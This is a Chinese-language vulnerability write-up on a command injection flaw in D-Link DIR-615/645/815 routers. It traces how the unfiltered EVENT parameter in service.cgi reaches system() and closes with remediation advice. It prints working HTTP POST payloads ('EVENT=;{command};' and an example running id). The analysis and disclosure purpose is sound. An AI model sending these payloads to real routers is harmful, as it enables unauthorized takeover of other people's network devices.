D-Link DIR 615/645/815 service.cgi远程命令执行漏洞
字数 908 2025-08-29 22:41:32
D-Link DIR 615/645/815 service.cgi远程命令执行漏洞分析
漏洞概述
D-Link DIR-615、DIR-645和DIR-815系列路由器存在一个严重的远程命令执行漏洞,该漏洞存在于service.cgi组件中,允许攻击者通过构造特殊的HTTP请求在设备上执行任意命令。
漏洞影响版本
- DIR-615 1.03及之前版本
- DIR-645 1.03及之前版本
- DIR-815 1.03及之前版本
漏洞分析
固件获取
可以从官方固件仓库下载受影响版本的固件:
Index of /pub/Router/DIR-815/Firmware/RevA
固件分析工具
使用binwalk工具进行固件分析:
binwalk -Me firmware.bin
漏洞定位
- 分析发现漏洞存在于htdocs目录下的cgibin文件中
- 关键函数为
servicecgi_main,该函数检查传入的第一个参数argv[0] - 函数会根据请求方式(GET/POST)进行不同处理
漏洞触发条件
- 必须使用POST请求方式(GET请求不会进入存在漏洞的分支)
- 需要设置正确的
CONTENT_TYPE头:application/x-www-form-urlencoded
漏洞原理
- 程序对用户输入的环境变量
EVENT参数未进行充分过滤 - 攻击者可以通过在
EVENT参数中插入特殊字符(如分号)来拼接命令 - 最终通过
system()函数执行拼接后的命令
关键代码分析
- 程序首先调用
cgibin_parse_request函数处理请求 - 对URL进行分割,获取问号后的参数(v12)
- 进一步分割参数,检查是否存在
=和& - 比较
CONTENT_TYPE环境变量:- 前0xc字节匹配
application/ - 后面0x15字节匹配
x-www-form-urlencoded
- 前0xc字节匹配
- 当匹配到
EVENT字符串时,会将参数值拼接进system函数执行
漏洞利用
利用方式
构造如下形式的POST请求:
POST /service.cgi HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
EVENT=;{command};
其中{command}替换为要执行的任意命令。
利用示例
执行id命令:
POST /service.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
EVENT=;id;
修复建议
- 升级到最新固件版本(1.03之后版本)
- 在无法升级的情况下,可以考虑:
- 禁用远程管理功能
- 配置防火墙规则限制对路由器的访问
- 修改默认管理密码
参考链接
- 国家信息安全漏洞共享平台官方报告
- D-Link官方安全公告